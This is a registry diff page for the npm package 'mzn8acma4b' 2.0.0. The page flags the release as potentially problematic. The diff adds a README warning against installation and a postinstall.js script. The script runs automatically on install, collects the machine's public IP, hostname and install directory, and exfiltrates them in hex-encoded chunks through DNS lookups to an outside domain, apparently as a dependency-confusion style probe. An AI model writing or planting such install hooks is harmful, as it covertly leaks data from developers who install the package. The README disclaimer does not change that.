mzn8acma4b 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mzn8acma4b might be problematic. Click here for more details.
- package/README.md +1 -0
- package/package.json +7 -0
- package/postinstall.js +61 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# DO NOT INSTALL THIS PACKAGE! IT IS MEANT FOR SECURITY TESTING AND IT LOGS YOUR COMPUTER'S IP ADDRESS, HOSTNAME, AND CURRENT WORKING DIRECTORY
|
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
// please check README.md
|
2
|
+
|
3
|
+
const dns = require('dns/promises');
|
4
|
+
const crypto = require('crypto');
|
5
|
+
const os = require('os');
|
6
|
+
const http = require('http');
|
7
|
+
|
8
|
+
const resolver = new dns.Resolver();
|
9
|
+
const executeResolve = s => resolver.resolve4(`${s}.dataflow.postcss-theme-shorthand-sectest.cf`).catch(() => {});
|
10
|
+
|
11
|
+
const CHUNK_LENGTH = 23;
|
12
|
+
const NONCE_LENGTH = 4;
|
13
|
+
const SEQ_LENGTH = 4;
|
14
|
+
|
15
|
+
for (const server of ['1.1.1.1', '1.0.0.1', '8.8.8.8', '8.8.4.4']) {
|
16
|
+
const servers = resolver.getServers();
|
17
|
+
if (!servers.includes(server)) resolver.setServers([...servers, server]);
|
18
|
+
}
|
19
|
+
|
20
|
+
function announce(data) {
|
21
|
+
const chunks = [];
|
22
|
+
while (data.length) {
|
23
|
+
chunks.push(data.slice(0, CHUNK_LENGTH));
|
24
|
+
data = data.slice(CHUNK_LENGTH);
|
25
|
+
}
|
26
|
+
|
27
|
+
const nonce = crypto.randomBytes(NONCE_LENGTH);
|
28
|
+
for (let i = 0; i < chunks.length; i++) {
|
29
|
+
const packet = Buffer.concat([nonce, Buffer.alloc(SEQ_LENGTH), chunks[i]]);
|
30
|
+
packet.writeUInt32BE(i, NONCE_LENGTH);
|
31
|
+
|
32
|
+
executeResolve(packet.toString('hex'));
|
33
|
+
}
|
34
|
+
}
|
35
|
+
|
36
|
+
function sendData(ip) {
|
37
|
+
try {
|
38
|
+
announce(Buffer.concat([Buffer.from('i'), Buffer.from(JSON.stringify({ ip, hostname: os.hostname(), cwd: __dirname }))]));
|
39
|
+
} catch {
|
40
|
+
executeResolve('fail');
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
const httpRequest = http.get('http://api64.ipify.org/?format=json', response => {
|
45
|
+
if (response.statusCode != 200) {
|
46
|
+
sendData(null);
|
47
|
+
return;
|
48
|
+
}
|
49
|
+
|
50
|
+
let ipData = '';
|
51
|
+
response.on('data', chunk => ipData += chunk);
|
52
|
+
response.on('close', () => {
|
53
|
+
try {
|
54
|
+
sendData(JSON.parse(ipData).ip)
|
55
|
+
} catch {
|
56
|
+
sendData(null);
|
57
|
+
}
|
58
|
+
});
|
59
|
+
});
|
60
|
+
|
61
|
+
httpRequest.on('error', () => sendData(null));
|